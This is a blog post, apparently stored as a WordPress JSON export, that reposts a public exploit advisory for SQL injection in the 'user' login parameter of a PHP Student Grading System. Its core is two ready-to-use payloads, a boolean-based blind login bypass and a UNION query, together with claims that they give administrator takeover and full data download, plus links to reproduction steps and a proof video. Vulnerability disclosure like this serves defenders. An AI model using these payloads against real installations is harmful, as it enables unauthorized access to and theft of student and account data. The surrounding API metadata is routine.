## Title: Student Grading System v1.0 SQLi
\n## Author: nu11secur1ty
\n## Date: 03.14.2022
\n## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23
\n## Software: https:\/\/www.sourcecodester.com\/php\/14522\/student-grading-system-using-phpmysql-source-code.html
\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System<\/p>\n
## Description:
\nThe `user` parameter appears to be vulnerable to SQL injection attacks.
\nA single quote was submitted in the user parameter, and a database
\nerror message was returned.
\nTwo single quotes were then submitted and the error message disappeared.
\nYou should review the contents of the error message, and the
\napplication’s handling of other input, to confirm whether a
\nvulnerability is present.
\nThe attacker can take administrator account control and also of all
\naccounts and files information on this system, also the malicious user
\ncan download all information about this system.<\/p>\n
Status: CRITICAL<\/p>\n
[+] Payloads:<\/p>\n
“`mysql<\/p>\n
—
\nParameter: user (POST)
\nType: boolean-based blind
\nTitle: OR boolean-based blind – WHERE or HAVING clause
\nPayload: user=-6693′ OR 2950=2950– qPwW&pwd=d0Y!w7s!B1<\/p>\n
Type: UNION query
\nTitle: Generic UNION query (random number) – 6 columns
\nPayload: user=-7952′ UNION ALL SELECT
\n5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650–
\n-&pwd=d0Y!w7s!B1
\n—<\/p>\n
“`<\/p>\n
## Reproduce:
\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System)<\/p>\n
## Proof and Exploit:
\n[href](https:\/\/streamable.com\/h0x4xl)<\/p>\n","protected":false},"excerpt":{"rendered":"
## Title: Student Grading System v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.14.2022 ## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23 ## Software: https:\/\/www.sourcecodester.com\/php\/14522\/student-grading-system-using-phpmysql-source-code.html ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/oretnom23\/2022\/Student-Grading-System ## Description: The `user` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user parameter, and a database error message was returned. Two single quotes were …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21730","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21730","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21730"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21730\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21730"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21730"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21730"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}